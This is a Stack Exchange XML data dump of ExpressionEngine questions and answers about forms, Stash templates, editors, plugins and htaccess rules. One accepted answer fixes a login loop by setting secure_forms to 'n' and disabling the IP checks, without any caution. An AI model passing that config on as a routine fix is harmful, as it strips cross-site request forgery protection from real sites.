  <row Id="12694" PostTypeId="2" ParentId="12690" CreationDate="2013-08-13T14:54:23.113" Score="0" Body="&lt;p&gt;The Freeform info tag pair, when used without a form_name or form_id param, outputs a list of the available forms. You may be able to use this loop to allow you to pull each form one after the other - with stash, you could stash the list of form IDs and then use them to output each form with its respective ID. Simplified view below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;freeform_ids&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:freeform:form_info}&#xA;        {stash:the_form_id}{freeform:form_id}{/stash:the_form_id}&#xA;    {/exp:freeform:form_info}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then later in the parse order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;freeform_ids&quot;}&#xA;    {exp:freeform:form form_id=&quot;{the_form_id}&quot;}&#xA;        {freeform:all_form_fields}&#xA;            &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;            {freeform:field_output}&#xA;        {/freeform:all_form_fields}&#xA;        &amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;    {/exp:freeform:form}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would output a &quot;list&quot; of your forms for each stashed form ID.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-13T14:54:23.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12696" PostTypeId="1" AcceptedAnswerId="12719" CreationDate="2013-08-13T15:12:08.943" Score="1" ViewCount="369" Body="&lt;p&gt;I'm working on an EE powered website which also serves data to a mobile app. I'm trying to make a safecracker form, but one of the fields cannot have HTML code in it or the app breaks. How do I stop people from entering HTML? Here's the field's line in the safecracker form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;snippet&quot; id=&quot;snippet&quot; value=&quot;{snippet}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment I think I need to use htmlspecialchars, but I have no idea how to implement it into safecracker. I'm also assuming that it might be easier to apply htmlspecialchars to the output, but unfortunately I do not have access to the apps source code.&lt;/p&gt;&#xA;" OwnerUserId="1273" LastActivityDate="2013-08-14T11:08:30.470" Title="How do I prevent users from entering HTML tags in a safecracker form?" Tags="|safecracker|php|forms|validation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12697" PostTypeId="1" CreationDate="2013-08-13T15:26:24.867" Score="1" ViewCount="99" Body="&lt;p&gt;I am having a bit of a issue when it comes to using MXNotify module and submitting a form with safecracker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening is if all fields are correct, it will save the post, and send the email, but it breaks my javascript submit, as it does a 302 redirect, and doesn't respond with the JSON my submit function is expecting. Therefore I can't use ajax to show the success. Are there any ways to still get my custom email sent on updating this channel, and still get a JSON response on success? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this helps:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:safecracker channel=&quot;deal_registration&quot;&#xA;  return=&quot;deal-registration&quot; error_handling=&quot;inline&quot; json=&quot;yes&quot;&#xA;  include_jquery=&quot;no&quot; class=&quot;registration-form&quot; safecracker_head=&quot;no&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The URL is site.com/deal-registration and it posts back to it self to show the AJAX responses. &lt;/p&gt;&#xA;" OwnerUserId="1194" LastEditorUserId="1194" LastEditDate="2013-08-13T18:14:27.653" LastActivityDate="2013-10-12T18:57:54.527" Title="Safecracker with JSON and MX Notify" Tags="|safecracker|notification|json|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12698" PostTypeId="1" AcceptedAnswerId="12700" CreationDate="2013-08-13T16:29:53.893" Score="5" ViewCount="687" Body="&lt;p&gt;I have an EE site on 2.5.2 that just reloads the login screen whenever I click login. This is happening for all users and user groups, and in multiple browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EngineHosting suggested I edit the config file to add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config[‘admin_session_type’] = “c”;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This did not solve, unfortunately. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="1888" LastActivityDate="2013-08-13T16:35:23.820" Title="Can't get past login screen" Tags="|control-panel|login|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12699" PostTypeId="2" ParentId="12686" CreationDate="2013-08-13T16:33:11.180" Score="1" Body="&lt;p&gt;Definitely needs to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SKU is {sku}.&#xA;&#xA;{if &quot;{sku}&quot; == &quot;can&quot;}&#xA;    {redirect=&quot;store/step_1a&quot;}&#xA;{/if}&#xA;&#xA;{if &quot;{sku}&quot; != &quot;can&quot;}&#xA;    {redirect=&quot;store/step_2&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this isn't working and {sku} is displaying correctly in the above code, then you have a parsing issue, whereby the conditionals are being parsed before the {sku}. In that case, please provide the surrounding code to see how you're outputting the {sku}.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-13T16:33:11.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12700" PostTypeId="2" ParentId="12698" CreationDate="2013-08-13T16:35:23.820" Score="6" Body="&lt;p&gt;Try adding the following and change the cookie prefix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['admin_session_type'] = &quot;s&quot;;&#xA;$config['user_session_type'] = &quot;c&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$config['secure_forms'] = &quot;n&quot;;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-08-13T16:35:23.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12701" PostTypeId="2" ParentId="12657" CreationDate="2013-08-13T16:46:00.110" Score="1" Body="&lt;p&gt;As pointed out by Rob Sanchez, my pre_process function wasn't returning field data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the pre_process function in your fieldtype class file but it doesn't return the $data parameter that it accepts, nothing will get passed to the replace_tag() function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Edit&lt;/strong&gt;: clarity)&lt;/p&gt;&#xA;" OwnerUserId="1879" LastEditorUserId="1879" LastEditDate="2013-08-19T19:03:31.557" LastActivityDate="2013-08-19T19:03:31.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12702" PostTypeId="2" ParentId="12697" CreationDate="2013-08-13T17:47:22.953" Score="1" Body="&lt;p&gt;I'm not all that familiar with MX Notify, but I can't imagine why it's impacting the response given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might try using Objective HTML's &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; instead. Being a commercial add-on it'll offer better support should you have any problems with it.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-13T17:47:22.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12703" PostTypeId="1" CreationDate="2013-08-13T19:25:28.323" Score="1" ViewCount="173" Body="&lt;p&gt;I am trying to implement Video JS (&lt;a href=&quot;http://www.videojs.com&quot; rel=&quot;nofollow&quot;&gt;http://www.videojs.com&lt;/a&gt;) in my EE site. When adding the required code snippet in my Wygwam field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;video id=&quot;bhv_ontruiming&quot; class=&quot;video-js vjs-default-skin&quot; controls preload=&quot;auto&quot; width=&quot;700&quot; height=&quot;396&quot; poster=&quot;https://intranet.abvakabofnv.nl/uploads/videos/bhv_ontruiming.png&quot; data-setup=&quot;{'example_option':true}&quot;&amp;gt;&#xA;&amp;lt;/video&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and switching to source mode and back, Wygwam takes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data-setup='{&quot;example_option&quot;:true}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and forces the outer quotes to double quotes and the inner single quotes to &amp;qout;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data-setup=&quot;{&amp;amp;quot;example_option&amp;amp;quot;:true}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... thereby disabling the functionality of the player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea as to how to prevent this from happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wygwam 3.1.1&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2013-10-13T15:58:00.130" Title="Wygwam switches double and single quotes" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12704" PostTypeId="2" ParentId="12685" CreationDate="2013-08-13T19:37:08.100" Score="1" Body="&lt;p&gt;If you only have a small amount of products, and you're not relying on the channel:entries pagination, you might be able to do it with stash. This is intended as psuedo-code and just a starting point (I forget the exact tags for getting item option prices in CT, for instance).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;my_products&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;products&quot;}&#xA;        {stash:item_title}{title}{/stash:item_title}&#xA;        {stash:item_summary}{summary}{/stash:item_summary}&#xA;        {stash:item_price}{if price:numeric}{price}{if:else}{your_item_options_field}{price:numeric}{/your_item_options_field}{/if}{/stash:item_price}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will probably need to fiddle around with parse order stuff to get that price stash working properly. Maybe add more parse_depth to the stash tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'd do a list with stash:get_list&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;my_products&quot; orderby=&quot;item_price&quot;}&#xA;    &amp;lt;li&amp;gt;{item_title} - {item_price}&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check the stash wiki for more on set_list and get_list &lt;a href=&quot;https://github.com/croxton/Stash/wiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-13T19:37:08.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12705" PostTypeId="2" ParentId="12604" CreationDate="2013-08-13T20:21:32.627" Score="1" Body="&lt;p&gt;or you can use this addon &lt;a href=&quot;http://devot-ee.com/add-ons/disable-default-memberfields&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/disable-default-memberfields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select what fields and for who is visible or not.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-08-13T20:21:32.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12707" PostTypeId="2" ParentId="12703" CreationDate="2013-08-13T20:57:53.930" Score="0" Body="&lt;p&gt;WYGWAM will strip that by default now. You'll need to alter the allowed content rules like this &lt;a href=&quot;https://github.com/ckeditor/ckeditor-docs/tree/master/guides/dev/configuration/advanced_content_filter/allowed_content_rules&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckeditor/ckeditor-docs/tree/master/guides/dev/configuration/advanced_content_filter/allowed_content_rules&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-13T20:57:53.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12708" PostTypeId="1" AcceptedAnswerId="12728" CreationDate="2013-08-13T21:42:47.503" Score="2" ViewCount="577" Body="&lt;p&gt;really strange one, this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple channel with one matrix field, which contains a single fieldtype of 'date'. It works in the control panel OK, but if I try to run the tag pair on the front end I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Class 'EE_Fieldtype' not found in /path/to/_system/expressionengine/third_party/matrix/ft.matrix.php on line 14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is EE v2.6.1 - Build Date: 20130506, and Matrix 2.5.5 or 2.5.6. But I have both Matrix and EE working OK on other projects at these versions so I'm stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any suggestions better than my &quot;start again&quot; one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Andy.&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-08-14T13:53:42.187" Title="Matrix - Fatal error: Class 'EE_Fieldtype' not found" Tags="|matrix|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12709" PostTypeId="2" ParentId="12708" CreationDate="2013-08-13T23:18:04.983" Score="1" Body="&lt;p&gt;It sounds like the date issue with Matrix 2.5.5. Try upgrading to 2.5.6.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/matrix/changelog.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.pixelandtonic.com/matrix/changelog.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Fixed the Date celltype for EE 2.6.&lt;/p&gt;&#xA;&lt;p&gt;Fixed a bug where an illegal date string could crash EE.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There was also a problem with the installer.&lt;/p&gt;&#xA;" OwnerUserId="1890" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-08-13T23:18:04.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12710" PostTypeId="2" ParentId="11181" CreationDate="2013-08-14T02:00:23.157" Score="1" Body="&lt;p&gt;After a bit of debugging, I found that the date field in the exp_assets_files table was set to not allow NULL and also did not have a default value. Checking the box to allow NULL and setting a defauly value of 0 fixed the problem and now images can be uploaded.&lt;/p&gt;&#xA;" OwnerUserId="1647" LastActivityDate="2013-08-14T02:00:23.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12711" PostTypeId="2" ParentId="12579" CreationDate="2013-08-14T03:07:27.090" Score="0" Body="&lt;p&gt;Not sure if this will help. I'm using something similar to grab the value of a selected modifier. It checks for a modifier value. While I haven't tested it, it should return whatever message you want if no modifier_value is found.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;{items}&#xA;{exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;  {modifiers}&#xA;    {if &quot;{modifier_value}&quot; == &quot;&quot;}&#xA;    Message or code that you want the user to see.&#xA;    {/if}&#xA;  {/modifiers}&#xA;{/exp:channel:entries}&#xA;{/items}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2013-08-14T03:07:27.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12712" PostTypeId="1" AcceptedAnswerId="12713" CreationDate="2013-08-14T04:36:39.373" Score="2" ViewCount="134" Body="&lt;p&gt;How do I add the form description to a user notification email template?&#xA;I can't see a list of available variables in the documentation, but just about all other variables are listed on the side of the template editor in the CP.&#xA;I tried {form_description}, but that didn't work..&lt;/p&gt;&#xA;" OwnerUserId="1792" LastActivityDate="2019-08-13T20:13:29.850" Title="Freeform form description in user notification emails" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12713" PostTypeId="2" ParentId="12712" CreationDate="2013-08-14T05:08:53.313" Score="2" Body="&lt;p&gt;{form_id} is available and you can use the {exp:freeform:form_info} tag pair as all EE template tags are available now in Notifications as of Freeform 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form_info/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form_info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you are correct, we are missing documentation on available variables for notifications. I have made a note for us to create them. Our apologies.&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-08-14T05:08:53.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12714" PostTypeId="5" CreationDate="2013-08-14T07:59:38.293" Score="0" Body="&lt;p&gt;Exp:resso provide some very popular Commercial and Open Source Add-ons including &lt;a href=&quot;https://exp-resso.com/store&quot; rel=&quot;nofollow&quot;&gt;Store&lt;/a&gt;, &lt;a href=&quot;https://exp-resso.com/freemember&quot; rel=&quot;nofollow&quot;&gt;FreeMember&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-14T10:29:17.083" LastActivityDate="2013-08-14T10:29:17.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12715" PostTypeId="4" CreationDate="2013-08-14T07:59:38.293" Score="0" Body="Exp:resso - Providers of some very popular Commercial and Open Source Add-ons including Store and FreeMember." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-14T10:29:12.303" LastActivityDate="2013-08-14T10:29:12.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12716" PostTypeId="1" AcceptedAnswerId="12717" CreationDate="2013-08-14T09:22:04.783" Score="2" ViewCount="153" Body="&lt;p&gt;I just moved a site to another server and &lt;em&gt;duh!&lt;/em&gt; forgot to copy over the Snippets manually. Don't ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a full backup though, ftp as well as sql. Now I am wondering where the native EE Snippets are being stored. I searched through all files and directories I could think of but I am unable to find any trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I couldn't really find anything in the sql dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody know where they are being stored for sure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers!&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2013-08-14T10:07:21.700" Title="Where are EE's native Snippets saved, locationwise?" Tags="|ee2|snippets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12717" PostTypeId="2" ParentId="12716" CreationDate="2013-08-14T10:07:21.700" Score="4" Body="&lt;p&gt;They're stored in the &lt;code&gt;exp_snippets&lt;/code&gt; database table.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-08-14T10:07:21.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12718" PostTypeId="1" CreationDate="2013-08-14T11:00:03.127" Score="1" ViewCount="78" Body="&lt;p&gt;I need any form I create to belong to a parent category.&#xA;The categories can be hard coded, but I need to know where/how to save that selection and how to show it on edit form page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the select box to edit_form.html and it's showing, but how to save that data I'm not sure about. In the SQL there's a 'settings' field, can I save custom data like this, there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create a new column sure, but I'd like to avoid hacking the established structure if I can... Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1886" LastActivityDate="2013-10-13T11:57:54.737" Title="Freeform - adding an option to my form edit page" Tags="|forms|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12719" PostTypeId="2" ParentId="12696" CreationDate="2013-08-14T11:08:30.470" Score="2" Body="&lt;p&gt;I think, you need to look into that channel preferences under &quot;Channel Posting Preferences&quot;. You can see &quot;Default HTML formatting in channel entries&quot; and set it to &quot;Convert HTML into character entities&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-14T11:08:30.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12720" PostTypeId="1" CreationDate="2013-08-14T11:14:32.230" Score="1" ViewCount="46" Body="&lt;p&gt;I'd like to lowercase filename &amp;amp; extension on file upload with safecracker. Does someone know where to find the pre-uploading bit in the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played around with the core set_filename method, but that only seems to affect the temp_ filenames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1314" LastActivityDate="2013-10-22T20:01:58.413" Title="Safecracker file extensions" Tags="|safecracker|safecracker-file|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12721" PostTypeId="2" ParentId="12718" CreationDate="2013-08-14T11:19:52.507" Score="1" Body="&lt;p&gt;If I am understanding correctly your question, I would suggest you to create a new form field (from FreeForm module area in CP) and store category value with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the entries listing of any Form, you can see button &quot;Edit Field Layout&quot; and you can include that category field into &quot;Shown Fields&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: You should have FreeForm v4.0+ for above.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-14T11:19:52.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12722" PostTypeId="1" CreationDate="2013-08-14T11:37:39.600" Score="2" ViewCount="1619" Body="&lt;p&gt;I've asked a question over at Stackoverflow thinking that it wasn't really EE related&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/18229829/set-up-of-conditional-redirect-in-htaccess&quot;&gt;https://stackoverflow.com/questions/18229829/set-up-of-conditional-redirect-in-htaccess&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I'm not so sure that the rules I'm using to remove index.php aren't having an effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-10-15T08:58:10.443" Title="Set up of conditional redirect in htaccess" Tags="|htaccess|.htaccess|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12723" PostTypeId="1" AcceptedAnswerId="15307" CreationDate="2013-08-14T11:55:28.420" Score="1" ViewCount="213" Body="&lt;p&gt;I'm having a slight issue with expresso store, was wondering if anyone can help me out.  The problem is on the last step, when they enter the credit card details.  I've set the following &lt;/p&gt;&#xA;&#xA;&lt;p&gt;return=&quot;shop/thank_you/ORDER_HASH&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;secure=&quot;yes&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final page with the order confirmation doesn't display properly as there's extra text in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should be getting mydomain.com/en/shop/thank_you/ORDER_HASH but I'm actually getting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mydomian.com/en/https:/mydomain.comm:443/https:/mydomain.com/shop/thank_you/ORDER_HASH&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to note, the order does complete successfully, it just doesn't display the final page due to the extra details in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final Confirmation page code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;header class=&quot;purchase-steps&quot;&amp;gt;&#xA;  &amp;lt;h6&amp;gt;Step to Purchase&amp;lt;/h6&amp;gt;&#xA;  &amp;lt;nav&amp;gt; &amp;lt;a href=&quot;#&quot; class=&quot;&quot;&amp;gt;1&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;#&quot; class=&quot;&quot;&amp;gt;2&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;#&quot; class=&quot;&quot;&amp;gt;3&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;#&quot; class=&quot;&quot;&amp;gt;4&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;#&quot; class=&quot;&quot;&amp;gt;5&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;#&quot; class=&quot;active last&quot;&amp;gt;6&amp;lt;/a&amp;gt; &amp;lt;/nav&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;      &amp;lt;header class=&quot;pageTitle&quot;&amp;gt;&#xA;  &amp;lt;h3&amp;gt; Thank you for your order! &amp;lt;/h3&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;{exp:store:orders order_hash=&quot;{segment_3}&quot;}&#xA;&amp;lt;h4&amp;gt;Your order ID is: &amp;lt;span class=&quot;blue&quot;&amp;gt;{order_id}&amp;lt;/span&amp;gt;&amp;lt;/h4&amp;gt;&#xA;{/exp:store:orders}&#xA;&amp;lt;p&amp;gt;It is currently being processed by our sales team. You will receive an email confirming your details. Please contact us at (01) 123 4567 if you have any queries about this purchase.&amp;lt;/p&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;more button green&quot;&amp;gt;Return to Our Products&amp;lt;/a&amp;gt; &amp;lt;br&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ht access file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler php5-script .php&#xA;&#xA;RewriteEngine on&#xA;&#xA;# remove index.php&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC] &#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]  &#xA;&#xA;&amp;lt;FilesMatch &quot;\.(ico|pdf|flv|jpg|jpeg|png|gif|js|css|swf)$&quot;&amp;gt;&#xA;Header set Cache-Control &quot;public&quot;&#xA;Header set Expires &quot;Thu, 15 Apr 2013 20:00:00 GMT&quot;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;Header unset ETag&#xA;FileETag None&#xA;&#xA;ExpiresActive On&#xA;ExpiresByType image/gif A2592000&#xA;ExpiresByType image/png A2592000&#xA;ExpiresByType image/jpg A2592000&#xA;ExpiresByType image/jpeg A2592000&#xA;ExpiresByType image/x-icon A2592000&#xA;&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    #------------------- remove trailing slash -------------------&#xA;    RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteRule ^(.+)/$ /$1 [R=301,L,QSA]&#xA;&#xA;    #------------------- CE Cache Static Driver -------------------&#xA;    RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;    RewriteCond %{QUERY_STRING} !ACT|URL [NC]&#xA;    RewriteCond %{REQUEST_METHOD} !=POST [NC]&#xA;    RewriteCond %{DOCUMENT_ROOT}/static/ce_cache/0158f6/static%{REQUEST_URI}/index\.html -f [NC]&#xA;    RewriteRule (.*) /_static_cache_handler.php%{REQUEST_URI}/index\.html [L,QSA]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="115" LastEditDate="2013-08-14T15:09:06.290" LastActivityDate="2013-11-01T22:30:44.640" Title="Expresso Store Order confirmation page" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
